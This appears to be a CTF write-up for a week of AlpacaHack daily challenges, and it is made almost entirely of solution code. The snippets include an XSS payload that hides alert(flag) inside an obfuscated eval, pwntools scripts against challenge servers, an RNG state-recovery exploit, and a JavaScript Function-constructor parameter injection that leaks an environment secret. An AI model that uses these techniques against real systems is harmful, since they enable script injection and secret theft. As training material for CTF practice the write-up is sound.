Daily AlpacaHack Writeup (2026-03-02 ~ 2026-03-8)

Copy

# memfrob: ^42
expected = [107, 70, 90, 75, 73, 75, 81, 126, 66, 67, 89, 117, 67, 89, 117, 94, 66, 79, 117, 0, 103, 115, 121, 126, 111, 120, 99, 101, 127, 121, 117, 75, 68, 78, 117, 125, 101, 100, 110, 111, 120, 108, 127, 102, 0, 117, 76, 95, 68, 73, 94, 67, 69, 68, 117, 67, 68, 117, 77, 70, 67, 72, 73, 11, 117, 107, 70, 89, 69, 117, 66, 69, 93, 117, 75, 72, 69, 95, 94, 117, 89, 94, 88, 76, 88, 83, 117, 76, 95, 68, 73, 94, 67, 69, 68, 21, 87]

flag = ""
for num in expected:
    flag += chr(num ^ 42)
print(flag)
        

Copy

_, host, port = "nc 34.170.146.252 10951".split()

sh = remote(host, port)

flag = ""
all_time = 0
sh.sendline()
while all_time < 60:
    time.sleep(3)
    sh.send(" ".encode())
    all_time += 3
    print("total time:", all_time)
    
sh.interactive()
        

Copy

<img src=a onerror='eval("ale"%2B"rt(fla"%2B"g)")'>
        

Copy

print("/*flag*/")
        

Copy

import random
from pwn import *

class RNG:
    N = 624
    M = 397
    UPPER_MASK = 0x80000000
    LOWER_MASK = 0x7FFFFFFF

    def __init__(self, init_state):
        self.state = init_state
        self.p = 0

    def next_value(self):
        p, q, r = self.p, (self.p+1) % self.N, (self.p + self.M) % self.N
        a = self.state[p] & self.UPPER_MASK
        b = self.state[q] & self.LOWER_MASK
        x = (a | b) ^ self.state[r]

        self.state[p] = x
        self.p = q

        y = ((x >> 11) | ((x << 21) & 0xFFFFF800)) ^ 0xDEADBEEF
        return y

def x_from_y(y):
    t = y ^ 0xDEADBEEF
    return ((t << 11) | (t >> 21)) & 0xffffffff


_, host, port = "nc 34.170.146.252 6881".split()
sh = remote(host, port)

N = 624
state_list = []
itr_idx = 0

while len(state_list) < N:
    print("itr:", itr_idx)
    itr_idx += 1
    prompt = sh.recvuntil("money:".encode())
    print(prompt.decode())
    money = int(sh.recvline().decode().strip())

    prompt = sh.recvuntil("value:".encode())
    value = int(sh.recvline().decode().strip())
    print("value:", value)

    state_list.append(x_from_y(value))
    prompt = sh.recvuntil("low?".encode())

    sh.sendline("h".encode())

    prompt = sh.recvuntil("next:".encode())
    value = int(sh.recvline().decode().strip())
    print("next_val:", value)
    state_list.append(x_from_y(value))
    
rng = RNG(init_state=state_list)

money = 0
while True:
    prompt = sh.recvuntil("money:".encode())
    print(prompt.decode())
    money = int(sh.recvline().decode().strip())
    print("money:", money)
    
    if money > 1337:
        sh.interactive()
        exit()

    prompt = sh.recvuntil("value:".encode())
    value = int(sh.recvline().decode().strip())
    
    print("value:", value, "gen_val:", rng.next_value())

    prompt = sh.recvuntil("low?".encode())

    next_value = rng.next_value()
    if value < next_value:
        sh.sendline("h".encode())
    else:
        sh.sendline("l".encode())

    prompt = sh.recvuntil("next:".encode())
    value = int(sh.recvline().decode().strip())
    
    print("next_value:", value, "gen_value:", next_value)
        

Copy

Function(
    guess,
    `
    if (${SECRET} === 1337) {
        return process.env.FLAG;
    } else {
        return "Failed...";
    }
    `,
)(1337),
        

Copy

Function(
    "x=1,y=2",
    "console.log(x+y);",
)() // OUTPUT -> 3
        

Copy

secret = "FLAG!";
guess = "x=1,y=(console.log(secret))";

Function(
    guess,
    "return 1;",
)(1337) // OUTPUT -> FLAG!
        

Copy

x=1,y=(console.log(process.env.FLAG))